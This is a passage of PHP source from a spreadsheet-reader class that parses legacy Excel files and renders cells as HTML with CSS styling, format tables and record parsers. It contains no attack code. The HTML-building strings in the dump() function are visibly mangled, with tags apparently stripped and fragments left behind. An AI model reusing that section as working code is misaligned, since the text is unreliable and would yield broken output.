colhidden($col,$sheet=0) { return !!$this->colInfo[$sheet][$col]['hidden']; } function rowheight($row,$sheet=0) { return $this->rowInfo[$sheet][$row]['height']; } function rowhidden($row,$sheet=0) { return !!$this->rowInfo[$sheet][$row]['hidden']; } // GET THE CSS FOR FORMATTING // ========================== function style($row,$col,$sheet=0,$properties='') { $css = ""; $font=$this->font($row,$col,$sheet); if ($font!="") { $css .= "font-family:$font;"; } $align=$this->align($row,$col,$sheet); if ($align!="") { $css .= "text-align:$align;"; } $height=$this->height($row,$col,$sheet); if ($height!="") { $css .= "font-size:$height"."px;"; } $bgcolor=$this->bgColor($row,$col,$sheet); if ($bgcolor!="") { $bgcolor = $this->colors[$bgcolor]; $css .= "background-color:$bgcolor;"; } $color=$this->color($row,$col,$sheet); if ($color!="") { $css .= "color:$color;"; } $bold=$this->bold($row,$col,$sheet); if ($bold) { $css .= "font-weight:bold;"; } $italic=$this->italic($row,$col,$sheet); if ($italic) { $css .= "font-style:italic;"; } $underline=$this->underline($row,$col,$sheet); if ($underline) { $css .= "text-decoration:underline;"; } // Borders $bLeft = $this->borderLeft($row,$col,$sheet); $bRight = $this->borderRight($row,$col,$sheet); $bTop = $this->borderTop($row,$col,$sheet); $bBottom = $this->borderBottom($row,$col,$sheet); $bLeftCol = $this->borderLeftColor($row,$col,$sheet); $bRightCol = $this->borderRightColor($row,$col,$sheet); $bTopCol = $this->borderTopColor($row,$col,$sheet); $bBottomCol = $this->borderBottomColor($row,$col,$sheet); // Try to output the minimal required style if ($bLeft!="" && $bLeft==$bRight && $bRight==$bTop && $bTop==$bBottom) { $css .= "border:" . $this->lineStylesCss[$bLeft] .";"; } else { if ($bLeft!="") { $css .= "border-left:" . $this->lineStylesCss[$bLeft] .";"; } if ($bRight!="") { $css .= "border-right:" . $this->lineStylesCss[$bRight] .";"; } if ($bTop!="") { $css .= "border-top:" . $this->lineStylesCss[$bTop] .";"; } if ($bBottom!="") { $css .= "border-bottom:" . $this->lineStylesCss[$bBottom] .";"; } } // Only output border colors if there is an actual border specified if ($bLeft!="" && $bLeftCol!="") { $css .= "border-left-color:" . $bLeftCol .";"; } if ($bRight!="" && $bRightCol!="") { $css .= "border-right-color:" . $bRightCol .";"; } if ($bTop!="" && $bTopCol!="") { $css .= "border-top-color:" . $bTopCol . ";"; } if ($bBottom!="" && $bBottomCol!="") { $css .= "border-bottom-color:" . $bBottomCol .";"; } return $css; } // FORMAT PROPERTIES // ================= function format($row,$col,$sheet=0) { return $this->info($row,$col,'format',$sheet); } function formatIndex($row,$col,$sheet=0) { return $this->info($row,$col,'formatIndex',$sheet); } function formatColor($row,$col,$sheet=0) { return $this->info($row,$col,'formatColor',$sheet); } // CELL (XF) PROPERTIES // ==================== function xfRecord($row,$col,$sheet=0) { $xfIndex = $this->info($row,$col,'xfIndex',$sheet); if ($xfIndex!="") { return $this->xfRecords[$xfIndex]; } return null; } function xfProperty($row,$col,$sheet,$prop) { $xfRecord = $this->xfRecord($row,$col,$sheet); if ($xfRecord!=null) { return $xfRecord[$prop]; } return ""; } function align($row,$col,$sheet=0) { return $this->xfProperty($row,$col,$sheet,'align'); } function bgColor($row,$col,$sheet=0) { return $this->xfProperty($row,$col,$sheet,'bgColor'); } function borderLeft($row,$col,$sheet=0) { return $this->xfProperty($row,$col,$sheet,'borderLeft'); } function borderRight($row,$col,$sheet=0) { return $this->xfProperty($row,$col,$sheet,'borderRight'); } function borderTop($row,$col,$sheet=0) { return $this->xfProperty($row,$col,$sheet,'borderTop'); } function borderBottom($row,$col,$sheet=0) { return $this->xfProperty($row,$col,$sheet,'borderBottom'); } function borderLeftColor($row,$col,$sheet=0) { return $this->colors[$this->xfProperty($row,$col,$sheet,'borderLeftColor')]; } function borderRightColor($row,$col,$sheet=0) { return $this->colors[$this->xfProperty($row,$col,$sheet,'borderRightColor')]; } function borderTopColor($row,$col,$sheet=0) { return $this->colors[$this->xfProperty($row,$col,$sheet,'borderTopColor')]; } function borderBottomColor($row,$col,$sheet=0) { return $this->colors[$this->xfProperty($row,$col,$sheet,'borderBottomColor')]; } // FONT PROPERTIES // =============== function fontRecord($row,$col,$sheet=0) { $xfRecord = $this->xfRecord($row,$col,$sheet); if ($xfRecord!=null) { $font = $xfRecord['fontIndex']; if ($font!=null) { return $this->fontRecords[$font]; } } return null; } function fontProperty($row,$col,$sheet=0,$prop) { $font = $this->fontRecord($row,$col,$sheet); if ($font!=null) { return $font[$prop]; } return false; } function fontIndex($row,$col,$sheet=0) { return $this->xfProperty($row,$col,$sheet,'fontIndex'); } function color($row,$col,$sheet=0) { $formatColor = $this->formatColor($row,$col,$sheet); if ($formatColor!="") { return $formatColor; } $ci = $this->fontProperty($row,$col,$sheet,'color'); return $this->rawColor($ci); } function rawColor($ci) { if (($ci <> 0x7FFF) && ($ci <> '')) { return $this->colors[$ci]; } return ""; } function bold($row,$col,$sheet=0) { return $this->fontProperty($row,$col,$sheet,'bold'); } function italic($row,$col,$sheet=0) { return $this->fontProperty($row,$col,$sheet,'italic'); } function underline($row,$col,$sheet=0) { return $this->fontProperty($row,$col,$sheet,'under'); } function height($row,$col,$sheet=0) { return $this->fontProperty($row,$col,$sheet,'height'); } function font($row,$col,$sheet=0) { return $this->fontProperty($row,$col,$sheet,'font'); } // DUMP AN HTML TABLE OF THE ENTIRE XLS DATA // ========================================= function dump($row_numbers=false,$col_letters=false,$sheet=0,$table_class='excel') { $out = ""; if ($col_letters) { $out .= "\n\t"; if ($row_numbers) { $out .= "\n\t\t"; } for($i=1;$i<=$this->colcount($sheet);$i++) { $style = "width:" . ($this->colwidth($i,$sheet)*1) . "px;"; if ($this->colhidden($i,$sheet)) { $style .= "display:none;"; } $out .= "\n\t\t"; } $out .= "\n"; } $out .= "\n"; for($row=1;$row<=$this->rowcount($sheet);$row++) { $rowheight = $this->rowheight($row,$sheet); $style = "height:" . ($rowheight*(4/3)) . "px;"; if ($this->rowhidden($row,$sheet)) { $style .= "display:none;"; } $out .= "\n\t"; if ($row_numbers) { $out .= "\n\t\t"; } for($col=1;$col<=$this->colcount($sheet);$col++) { // Account for Rowspans/Colspans $rowspan = $this->rowspan($row,$col,$sheet); $colspan = $this->colspan($row,$col,$sheet); for($i=0;$i<$rowspan;$i++) { for($j=0;$j<$colspan;$j++) { if ($i>0 || $j>0) { $this->sheets[$sheet]['cellsInfo'][$row+$i][$col+$j]['dontprint']=1; } } } if(!$this->sheets[$sheet]['cellsInfo'][$row][$col]['dontprint']) { $style = $this->style($row,$col,$sheet); if ($this->colhidden($col,$sheet)) { $style .= "display:none;"; } $out .= "\n\t\t"; } } $out .= "\n"; } $out .= "
       " . strtoupper($this->colindexes[$i]) . "
      $row 1?" colspan=$colspan":"") . ($rowspan > 1?" rowspan=$rowspan":"") . ">"; $val = $this->val($row,$col,$sheet); if ($val=='') { $val=" "; } else { $val = htmlentities($val); $link = $this->hyperlink($row,$col,$sheet); if ($link!='') { $val = "$val"; } } $out .= "".nl2br($val).""; $out .= "
      "; return $out; } // -------------- // END PUBLIC API var $boundsheets = array(); var $formatRecords = array(); var $fontRecords = array(); var $xfRecords = array(); var $colInfo = array(); var $rowInfo = array(); var $sst = array(); var $sheets = array(); var $data; var $_ole; var $_defaultEncoding = "UTF-8"; var $_defaultFormat = SPREADSHEET_EXCEL_READER_DEF_NUM_FORMAT; var $_columnsFormat = array(); var $_rowoffset = 1; var $_coloffset = 1; /** * List of default date formats used by Excel */ var $dateFormats = array ( 0xe => "m/d/Y", 0xf => "M-d-Y", 0x10 => "d-M", 0x11 => "M-Y", 0x12 => "h:i a", 0x13 => "h:i:s a", 0x14 => "H:i", 0x15 => "H:i:s", 0x16 => "d/m/Y H:i", 0x2d => "i:s", 0x2e => "H:i:s", 0x2f => "i:s.S" ); /** * Default number formats used by Excel */ var $numberFormats = array( 0x1 => "0", 0x2 => "0.00", 0x3 => "#,##0", 0x4 => "#,##0.00", 0x5 => "\$#,##0;(\$#,##0)", 0x6 => "\$#,##0;[Red](\$#,##0)", 0x7 => "\$#,##0.00;(\$#,##0.00)", 0x8 => "\$#,##0.00;[Red](\$#,##0.00)", 0x9 => "0%", 0xa => "0.00%", 0xb => "0.00E+00", 0x25 => "#,##0;(#,##0)", 0x26 => "#,##0;[Red](#,##0)", 0x27 => "#,##0.00;(#,##0.00)", 0x28 => "#,##0.00;[Red](#,##0.00)", 0x29 => "#,##0;(#,##0)", // Not exactly 0x2a => "\$#,##0;(\$#,##0)", // Not exactly 0x2b => "#,##0.00;(#,##0.00)", // Not exactly 0x2c => "\$#,##0.00;(\$#,##0.00)", // Not exactly 0x30 => "##0.0E+0" ); var $colors = Array( 0x00 => "#000000", 0x01 => "#FFFFFF", 0x02 => "#FF0000", 0x03 => "#00FF00", 0x04 => "#0000FF", 0x05 => "#FFFF00", 0x06 => "#FF00FF", 0x07 => "#00FFFF", 0x08 => "#000000", 0x09 => "#FFFFFF", 0x0A => "#FF0000", 0x0B => "#00FF00", 0x0C => "#0000FF", 0x0D => "#FFFF00", 0x0E => "#FF00FF", 0x0F => "#00FFFF", 0x10 => "#800000", 0x11 => "#008000", 0x12 => "#000080", 0x13 => "#808000", 0x14 => "#800080", 0x15 => "#008080", 0x16 => "#C0C0C0", 0x17 => "#808080", 0x18 => "#9999FF", 0x19 => "#993366", 0x1A => "#FFFFCC", 0x1B => "#CCFFFF", 0x1C => "#660066", 0x1D => "#FF8080", 0x1E => "#0066CC", 0x1F => "#CCCCFF", 0x20 => "#000080", 0x21 => "#FF00FF", 0x22 => "#FFFF00", 0x23 => "#00FFFF", 0x24 => "#800080", 0x25 => "#800000", 0x26 => "#008080", 0x27 => "#0000FF", 0x28 => "#00CCFF", 0x29 => "#CCFFFF", 0x2A => "#CCFFCC", 0x2B => "#FFFF99", 0x2C => "#99CCFF", 0x2D => "#FF99CC", 0x2E => "#CC99FF", 0x2F => "#FFCC99", 0x30 => "#3366FF", 0x31 => "#33CCCC", 0x32 => "#99CC00", 0x33 => "#FFCC00", 0x34 => "#FF9900", 0x35 => "#FF6600", 0x36 => "#666699", 0x37 => "#969696", 0x38 => "#003366", 0x39 => "#339966", 0x3A => "#003300", 0x3B => "#333300", 0x3C => "#993300", 0x3D => "#993366", 0x3E => "#333399", 0x3F => "#333333", 0x40 => "#000000", 0x41 => "#FFFFFF", 0x43 => "#000000", 0x4D => "#000000", 0x4E => "#FFFFFF", 0x4F => "#000000", 0x50 => "#FFFFFF", 0x51 => "#000000", 0x7FFF => "#000000" ); var $lineStyles = array( 0x00 => "", 0x01 => "Thin", 0x02 => "Medium", 0x03 => "Dashed", 0x04 => "Dotted", 0x05 => "Thick", 0x06 => "Double", 0x07 => "Hair", 0x08 => "Medium dashed", 0x09 => "Thin dash-dotted", 0x0A => "Medium dash-dotted", 0x0B => "Thin dash-dot-dotted", 0x0C => "Medium dash-dot-dotted", 0x0D => "Slanted medium dash-dotted" ); var $lineStylesCss = array( "Thin" => "1px solid", "Medium" => "2px solid", "Dashed" => "1px dashed", "Dotted" => "1px dotted", "Thick" => "3px solid", "Double" => "double", "Hair" => "1px solid", "Medium dashed" => "2px dashed", "Thin dash-dotted" => "1px dashed", "Medium dash-dotted" => "2px dashed", "Thin dash-dot-dotted" => "1px dashed", "Medium dash-dot-dotted" => "2px dashed", "Slanted medium dash-dotte" => "2px dashed" ); function read16bitstring($data, $start) { $len = 0; while (ord($data[$start + $len]) + ord($data[$start + $len + 1]) > 0) $len++; return substr($data, $start, $len); } // ADDED by Matt Kruse for better formatting function _format_value($format,$num,$f) { // 49==TEXT format // http://code.google.com/p/php-excel-reader/issues/detail?id=7 if ( (!$f && $format=="%s") || ($f==49) || ($format=="GENERAL") ) { return array('string'=>$num, 'formatColor'=>null); } // Custom pattern can be POSITIVE;NEGATIVE;ZERO // The "text" option as 4th parameter is not handled $parts = explode(";",$format); $pattern = $parts[0]; // Negative pattern if (count($parts)>2 && $num==0) { $pattern = $parts[2]; } // Zero pattern if (count($parts)>1 && $num<0) { $pattern = $parts[1]; $num = abs($num); } $color = ""; $matches = array(); $color_regex = "/^\[(BLACK|BLUE|CYAN|GREEN|MAGENTA|RED|WHITE|YELLOW)\]/i"; if (preg_match($color_regex,$pattern,$matches)) { $color = strtolower($matches[1]); $pattern = preg_replace($color_regex,"",$pattern); } // In Excel formats, "_" is used to add spacing, which we can't do in HTML $pattern = preg_replace("/_./","",$pattern); // Some non-number characters are escaped with \, which we don't need $pattern = preg_replace("/\\\/","",$pattern); // Some non-number strings are quoted, so we'll get rid of the quotes $pattern = preg_replace("/\"/","",$pattern); // TEMPORARY - Convert # to 0 $pattern = preg_replace("/\#/","0",$pattern); // Find out if we need comma formatting $has_commas = preg_match("/,/",$pattern); if ($has_commas) { $pattern = preg_replace("/,/","",$pattern); } // Handle Percentages if (preg_match("/\d(\%)([^\%]|$)/",$pattern,$matches)) { $num = $num* 100; $pattern = preg_replace("/(\d)(\%)([^\%]|$)/","$1%$3",$pattern); } // Handle the number itself $number_regex = "/(\d+)(\.?)(\d*)/"; if (preg_match($number_regex,$pattern,$matches)) { $left = $matches[1]; $dec = $matches[2]; $right = $matches[3]; if ($has_commas) { $formatted = number_format($num,strlen($right)); } else { $sprintf_pattern = "%1.".strlen($right)."f"; $formatted = sprintf($sprintf_pattern, $num); } $pattern = preg_replace($number_regex, $formatted, $pattern); } return array( 'string'=>$pattern, 'formatColor'=>$color ); } /** * Constructor * * Some basic initialisation */ function Spreadsheet_Excel_Reader($file='',$store_extended_info=true,$outputEncoding='') { $this->_ole = new OLERead(); $this->setUTFEncoder('iconv'); if ($outputEncoding != '') { $this->setOutputEncoding($outputEncoding); } for ($i=1; $i<245; $i++) { $name = strtolower(( (($i-1)/26>=1)?chr(($i-1)/26+64):'') . chr(($i-1)%26+65)); $this->colnames[$name] = $i; $this->colindexes[$i] = $name; } $this->store_extended_info = $store_extended_info; if ($file!="") { $this->read($file); } } /** * Set the encoding method */ function setOutputEncoding($encoding) { $this->_defaultEncoding = $encoding; } /** * $encoder = 'iconv' or 'mb' * set iconv if you would like use 'iconv' for encode UTF-16LE to your encoding * set mb if you would like use 'mb_convert_encoding' for encode UTF-16LE to your encoding */ function setUTFEncoder($encoder = 'iconv') { $this->_encoderFunction = ''; if ($encoder == 'iconv') { $this->_encoderFunction = function_exists('iconv') ? 'iconv' : ''; } elseif ($encoder == 'mb') { $this->_encoderFunction = function_exists('mb_convert_encoding') ? 'mb_convert_encoding' : ''; } } function setRowColOffset($iOffset) { $this->_rowoffset = $iOffset; $this->_coloffset = $iOffset; } /** * Set the default number format */ function setDefaultFormat($sFormat) { $this->_defaultFormat = $sFormat; } /** * Force a column to use a certain format */ function setColumnFormat($column, $sFormat) { $this->_columnsFormat[$column] = $sFormat; } /** * Read the spreadsheet file using OLE, then parse */ function read($sFileName) { $res = $this->_ole->read($sFileName); // oops, something goes wrong (Darko Miljanovic) if($res === false) { // check error code if($this->_ole->error == 1) { // bad file die('The filename ' . $sFileName . ' is not readable'); } // check other error codes here (eg bad fileformat, etc...) } $this->data = $this->_ole->getWorkBook(); $this->_parse(); } /** * Parse a workbook * * @access private * @return bool */ function _parse() { $pos = 0; $data = $this->data; $code = v($data,$pos); $length = v($data,$pos+2); $version = v($data,$pos+4); $substreamType = v($data,$pos+6); $this->version = $version; if (($version != SPREADSHEET_EXCEL_READER_BIFF8) && ($version != SPREADSHEET_EXCEL_READER_BIFF7)) { return false; } if ($substreamType != SPREADSHEET_EXCEL_READER_WORKBOOKGLOBALS){ return false; } $pos += $length + 4; $code = v($data,$pos); $length = v($data,$pos+2); while ($code != SPREADSHEET_EXCEL_READER_TYPE_EOF) { switch ($code) { case SPREADSHEET_EXCEL_READER_TYPE_SST: $spos = $pos + 4; $limitpos = $spos + $length; $uniqueStrings = $this->_GetInt4d($data, $spos+4); $spos += 8; for ($i = 0; $i < $uniqueStrings; $i++) { // Read in the number of characters if ($spos == $limitpos) { $opcode = v($data,$spos); $conlength = v($data,$spos+2); if ($opcode != 0x3c) { return -1; } $spos += 4; $limitpos = $spos + $conlength; } $numChars = ord($data[$spos]) | (ord($data[$spos+1]) << 8); $spos += 2; $optionFlags = ord($data[$spos]); $spos++; $asciiEncoding = (($optionFlags & 0x01) == 0) ; $extendedString = ( ($optionFlags & 0x04) != 0); // See if string contains formatting information $richString = ( ($optionFlags & 0x08) != 0); if ($richString) { // Read in the crun $formattingRuns = v($data,$spos); $spos += 2; } if ($extendedString) { // Read in cchExtRst $extendedRunLength = $this->_GetInt4d($data, $spos); $spos += 4; } $len = ($asciiEncoding)? $numChars : $numChars*2; if ($spos + $len < $limitpos) { $retstr = substr($data, $spos, $len); $spos += $len; } else{ // found countinue $retstr = substr($data, $spos, $limitpos - $spos); $bytesRead = $limitpos - $spos; $charsLeft = $numChars - (($asciiEncoding) ? $bytesRead : ($bytesRead / 2)); $spos = $limitpos; while ($charsLeft > 0){ $opcode = v($data,$spos); $conlength = v($data,$spos+2); if ($opcode != 0x3c) { return -1; } $spos += 4; $limitpos = $spos + $conlength; $option = ord($data[$spos]); $spos += 1; if ($asciiEncoding && ($option == 0)) { $len = min($charsLeft, $limitpos - $spos); // min($charsLeft, $conlength); $retstr .= substr($data, $spos, $len); $charsLeft -= $len; $asciiEncoding = true; } elseif (!$asciiEncoding && ($option != 0)) { $len = min($charsLeft* 2, $limitpos - $spos); // min($charsLeft, $conlength); $retstr .= substr($data, $spos, $len); $charsLeft -= $len/2; $asciiEncoding = false; } elseif (!$asciiEncoding && ($option == 0)) { // Bummer - the string starts off as Unicode, but after the // continuation it is in straightforward ASCII encoding $len = min($charsLeft, $limitpos - $spos); // min($charsLeft, $conlength); for ($j = 0; $j < $len; $j++) { $retstr .= $data[$spos + $j].chr(0); } $charsLeft -= $len; $asciiEncoding = false; } else{ $newstr = ''; for ($j = 0; $j < strlen($retstr); $j++) { $newstr = $retstr[$j].chr(0); } $retstr = $newstr; $len = min($charsLeft* 2, $limitpos - $spos); // min($charsLeft, $conlength); $retstr .= substr($data, $spos, $len); $charsLeft -= $len/2; $asciiEncoding = false; } $spos += $len; } } //$retstr = ($asciiEncoding) ? $retstr : $this->_encodeUTF16($retstr); $retstr = ($asciiEncoding) ? iconv('iso-8859-1', $this->_defaultEncoding, $retstr) : $this->_encodeUTF16($retstr); if ($richString){ $spos += 4* $formattingRuns; } // For extended strings, skip over the extended string data if ($extendedString) { $spos += $extendedRunLength; } $this->sst[]=$retstr; } break; case SPREADSHEET_EXCEL_READER_TYPE_FILEPASS: return false; break; case SPREADSHEET_EXCEL_READER_TYPE_NAME: break; case SPREADSHEET_EXCEL_READER_TYPE_FORMAT: $indexCode = v($data,$pos+4); if ($version == SPREADSHEET_EXCEL_READER_BIFF8) { $numchars = v($data,$pos+6); if (ord($data[$pos+8]) == 0){ $formatString = substr($data, $pos+9, $numchars); } else { $formatString = substr($data, $pos+9, $numchars*2); } } else { $numchars = ord($data[$pos+6]); $formatString = substr($data, $pos+7, $numchars*2); } $this->formatRecords[$indexCode] = $formatString; break; case SPREADSHEET_EXCEL_READER_TYPE_FONT: $height = v($data,$pos+4); $option = v($data,$pos+6); $color = v($data,$pos+8); $weight = v($data,$pos+10); $under = ord($data[$pos+14]); $font = ""; // Font name $numchars = ord($data[$pos+18]); if ((ord($data[$pos+19]) & 1) == 0){ $font = substr($data, $pos+20, $numchars); } else { $font = substr($data, $pos+20, $numchars*2); $font = $this->_encodeUTF16($font); } $this->fontRecords[] = array( 'height' => $height / 20, 'italic' => !!($option & 2), 'color' => $color, 'under' => !($under==0), 'bold' => ($weight==700), 'font' => $font, 'raw' => $this->dumpHexData($data, $pos+3, $length) ); break; case SPREADSHEET_EXCEL_READER_TYPE_PALETTE: $colors = ord($data[$pos+4]) | ord($data[$pos+5]) << 8; for ($coli = 0; $coli < $colors; $coli++) { $colOff = $pos + 2 + ($coli* 4); $colr = ord($data[$colOff]); $colg = ord($data[$colOff+1]); $colb = ord($data[$colOff+2]); $this->colors[0x07 + $coli] = '#' . $this->myhex($colr) . $this->myhex($colg) . $this->myhex($colb); } break; case SPREADSHEET_EXCEL_READER_TYPE_XF: $fontIndexCode = (ord($data[$pos+4]) | ord($data[$pos+5]) << 8) - 1; $fontIndexCode = max(0,$fontIndexCode); $indexCode = ord($data[$pos+6]) | ord($data[$pos+7]) << 8; $alignbit = ord($data[$pos+10]) & 3; $bgi = (ord($data[$pos+22]) | ord($data[$pos+23]) << 8) & 0x3FFF; $bgcolor = ($bgi & 0x7F); // $bgcolor = ($bgi & 0x3f80) >> 7; $align = ""; if ($alignbit==3) { $align="right"; } if ($alignbit==2) { $align="center"; } $fillPattern = (ord($data[$pos+21]) & 0xFC) >> 2; if ($fillPattern == 0) { $bgcolor = ""; } $xf = array(); $xf['formatIndex'] = $indexCode; $xf['align'] = $align; $xf['fontIndex'] = $fontIndexCode; $xf['bgColor'] = $bgcolor; $xf['fillPattern'] = $fillPattern; $border = ord($data[$pos+14]) | (ord($data[$pos+15]) << 8) | (ord($data[$pos+16]) << 16) | (ord($data[$pos+17]) << 24); $xf['borderLeft'] = $this->lineStyles[($border & 0xF)]; $xf['borderRight'] = $this->lineStyles[($border & 0xF0) >> 4]; $xf['borderTop'] = $this->lineStyles[($border & 0xF00) >> 8]; $xf['borderBottom'] = $this->lineStyles[($border & 0xF000) >> 12]; $xf['borderLeftColor'] = ($border & 0x7F0000) >> 16; $xf['borderRightColor'] = ($border & 0x3F800000) >> 23; $border = (ord($data[$pos+18]) | ord($data[$pos+19]) << 8); $xf['borderTopColor'] = ($border & 0x7F); $xf['borderBottomColor'] = ($border & 0x3F80) >> 7; if (array_key_exists($indexCode, $this->dateFormats)) { $xf['type'] = 'date'; $xf['format'] = $this->dateFormats[$indexCode]; if ($align=='') { $xf['align'] = 'right'; } }elseif (array_key_exists($indexCode, $this->numberFormats)) { $xf['type'] = 'number'; $xf['format'] = $this->numberFormats[$indexCode]; if ($align=='') { $xf['align'] = 'right'; } }else{ $isdate = FALSE; $formatstr = ''; if ($indexCode > 0){ if (isset($this->formatRecords[$indexCode])) $formatstr = $this->formatRecords[$indexCode]; if ($formatstr!="") { $tmp = preg_replace("/\;.*/","",$formatstr); $tmp = preg_replace("/^\[[^\]]*\]/","",$tmp); if (preg_match("/[^hmsday\/\-:\s\\\,AMP]/i", $tmp) == 0) { // found day and time format $isdate = TRUE; $formatstr = $tmp; $formatstr = str_replace(array('AM/PM','mmmm','mmm'), array('a','F','M'), $formatstr); // m/mm are used for both minutes and months - oh SNAP! // This mess tries to fix for that. // 'm' == minutes only if following h/hh or preceding s/ss $formatstr = preg_replace("/(h:?)mm?/","$1i", $formatstr); $formatstr = preg_replace("/mm?(:?s)/","i$1", $formatstr); // A single 'm' = n in PHP $formatstr = preg_replace("/(^|[^m])m([^m]|$)/", '$1n$2', $formatstr); $formatstr = preg_replace("/(^|[^m])m([^m]|$)/", '$1n$2', $formatstr); // else it's months $formatstr = str_replace('mm', 'm', $formatstr); // Convert single 'd' to 'j' $formatstr = preg_replace("/(^|[^d])d([^d]|$)/", '$1j$2', $formatstr); $formatstr = str_replace(array('dddd','ddd','dd','yyyy','yy','hh','h'), array('l','D','d','Y','y','H','g'), $formatstr); $formatstr = preg_replace("/ss?/", 's', $formatstr); } } } if ($isdate){ $xf['type'] = 'date'; $xf['format'] = $formatstr; if ($align=='') { $xf['align'] = 'right'; } }else{ // If the format string has a 0 or # in it, we'll assume it's a number if (preg_match("/[0#]/", $formatstr)) { $xf['type'] = 'number'; if ($align=='') { $xf['align']='right'; } } else { $xf['type'] = 'other'; } $xf['format'] = $formatstr; $xf['code'] = $indexCode; } } $this->xfRecords[] = $xf; break; case SPREADSHEET_EXCEL_READER_TYPE_NINETEENFOUR: $this->nineteenFour = (ord($data[$pos+4]) == 1); break; case SPREADSHEET_EXCEL_READER_TYPE_BOUNDSHEET: $rec_offset = $this->_GetInt4d($data, $pos+4); $rec_typeFlag = ord($data[$pos+8]); $rec_visibilityFlag = ord($data[$pos+9]); $rec_length = ord($data[$pos+10]); if ($version == SPREADSHEET_EXCEL_READER_BIFF8){ $chartype = ord($data[$pos+11]); if ($chartype == 0){ $rec_name = substr($data, $pos+12, $rec_length); } else { $rec_name = $this->_encodeUTF16(substr($data, $pos+12, $rec_length*2)); } }elseif ($version == SPREADSHEET_EXCEL_READER_BIFF7){ $rec_name = substr($data, $pos+11, $rec_length); } $this->boundsheets[] = array('name'=>$rec_name,'offset'=>$rec_offset); break; } $pos += $length + 4; $code = ord($data[$pos]) | ord($data[$pos+1])<<8; $length = ord($data[$pos+2]) | ord($data[$pos+3])<<8; } foreach ($this->boundsheets as $key=>$val){ $this->sn = $key; $this->_parsesheet($val['offset']); } return true; } /** * Parse a worksheet */ function _parsesheet($spos) { $cont = true; $data = $this->data; // read BOF $code = ord($data[$spos]) | ord($data[$spos+1])<<8; $length = ord($data[$spos+2]) | ord($data[$spos+3])<<8; $version = ord($data[$spos + 4]) | ord($data[$spos + 5])<<8; $substreamType = ord($data[$spos + 6]) | ord($data[$spos + 7])<<8; if (($version != SPREADSHEET_EXCEL_READER_BIFF8) && ($version != SPREADSHEET_EXCEL_READER_BIFF7)) { return -1; } if ($substreamType != SPREADSHEET_EXCEL_READER_WORKSHEET){ return -2; } $spos += $length + 4; while($cont) { $lowcode = ord($data[$spos]); if ($lowcode == SPREADSHEET_EXCEL_READER_TYPE_EOF) break; $code = $lowcode | ord($data[$spos+1])<<8; $length = ord($data[$spos+2]) | ord($data[$spos+3])<<8; $spos += 4; $this->sheets[$this->sn]['maxrow'] = $this->_rowoffset - 1; $this->sheets[$this->sn]['maxcol'] = $this->_coloffset - 1; unset($this->rectype); switch ($code) { case SPREADSHEET_EXCEL_READER_TYPE_DIMENSION: if (!isset($this->numRows)) { if (($length == 10) || ($version == SPREADSHEET_EXCEL_READER_BIFF7)){ $this->sheets[$this->sn]['numRows'] = ord($data[$spos+2]) | ord($data[$spos+3]) << 8; $this->sheets[$this->sn]['numCols'] = ord($data[$spos+6]) | ord($data[$spos+7]) << 8; } else { $this->sheets[$this->sn]['numRows'] = ord($data[$spos+4]) | ord($data[$spos+5]) << 8; $this->sheets[$this->sn]['numCols'] = ord($data[$spos+10]) | ord($data[$spos+11]) << 8; } } break; case SPREADSHEET_EXCEL_READER_TYPE_MERGEDCELLS: $cellRanges = ord($data[$spos]) | ord($data[$spos+1])<<8; for ($i = 0; $i < $cellRanges; $i++) { $fr = ord($data[$spos + 8*$i + 2]) | ord($data[$spos + 8*$i + 3])<<8; $lr = ord($data[$spos + 8*$i + 4]) | ord($data[$spos + 8*$i + 5])<<8; $fc = ord($data[$spos + 8*$i + 6]) | ord($data[$spos + 8*$i + 7])<<8; $lc = ord($data[$spos + 8*$i + 8]) | ord($data[$spos + 8*$i + 9])<<8; if ($lr - $fr > 0) { $this->sheets[$this->sn]['cellsInfo'][$fr+1][$fc+1]['rowspan'] = $lr - $fr + 1; } if ($lc - $fc > 0) { $this->sheets[$this->sn]['cellsInfo'][$fr+1][$fc+1]['colspan'] = $lc - $fc + 1; } } break; case SPREADSHEET_EXCEL_READER_TYPE_RK: case SPREADSHEET_EXCEL_READER_TYPE_RK2: $row = ord($data[$spos]) | ord($data[$spos+1])<<8; $column = ord($data[$spos+2]) | ord($data[$spos+3])<<8; $rknum = $this->_GetInt4d($data, $spos + 6); $numValue = $this->_GetIEEE754($rknum); $info = $this->_getCellDetails($spos,$numValue,$column); $this->addcell($row, $column, $info['string'],$info); break; case SPREADSHEET_EXCEL_READER_TYPE_LABELSST: $row = ord($data[$spos]) | ord($data[$spos+1])<<8; $column = ord($data[$spos+2]) | ord($data[$spos+3])<<8; $xfindex = ord($data[$spos+4]) | ord($data[$spos+5])<<8; $index = $this->_GetInt4d($data, $spos + 6); $this->addcell($row, $column, $this->sst[$index], array('xfIndex'=>$xfindex) ); break; case SPREADSHEET_EXCEL_READER_TYPE_MULRK: $row = ord($data[$spos]) | ord($data[$spos+1])<<8; $colFirst = ord($data[$spos+2]) | ord($data[$spos+3])<<8; $colLast = ord($data[$spos + $length - 2]) | ord($data[$spos + $length - 1])<<8; $columns = $colLast - $colFirst + 1; $tmppos = $spos+4; for ($i = 0; $i < $columns; $i++) { $numValue = $this->_GetIEEE754($this->_GetInt4d($data, $tmppos + 2)); $info = $this->_getCellDetails($tmppos-4,$numValue,$colFirst + $i + 1); $tmppos += 6; $this->addcell($row, $colFirst + $i, $info['string'], $info); } break; case SPREADSHEET_EXCEL_READER_TYPE_NUMBER: $row = ord($data[$spos]) | ord($data[$spos+1])<<8; $column = ord($data[$spos+2]) | ord($data[$spos+3])<<8; $tmp = unpack("ddouble", substr($data, $spos + 6, 8)); // It machine machine dependent if ($this->isDate($spos)) { $numValue = $tmp['double']; } else { $numValue = $this->createNumber($spos); } $info = $this->_getCellDetails($spos,$numValue,$column); $this->addcell($row, $column, $info['string'], $info); break; case SPREADSHEET_EXCEL_READER_TYPE_FORMULA: case SPREADSHEET_EXCEL_READER_TYPE_FORMULA2: $row = ord($data[$spos]) | ord($data[$spos+1])<<8; $column = ord($data[$spos+2]) | ord($data[$spos+3])<<8; if ((ord($data[$spos+6])==0) && (ord($data[$spos+12])==255) && (ord($data[$spos+13])==255)) { //String formula. Result follows in a STRING record // This row/col are stored to be referenced in that record // http://code.google.com/p/php-excel-reader/issues/detail?id=4 $previousRow = $row; $previousCol = $column; } elseif ((ord($data[$spos+6])==1) && (ord($data[$spos+12])==255) && (ord($data[$spos+13])==255)) { //Boolean formula. Result is in +2; 0=false,1=true // http://code.google.com/p/php-excel-reader/issues/detail?id=4 if (ord($this->data[$spos+8])==1) { $this->addcell($row, $column, "TRUE"); } else { $this->addcell($row, $column, "FALSE"); 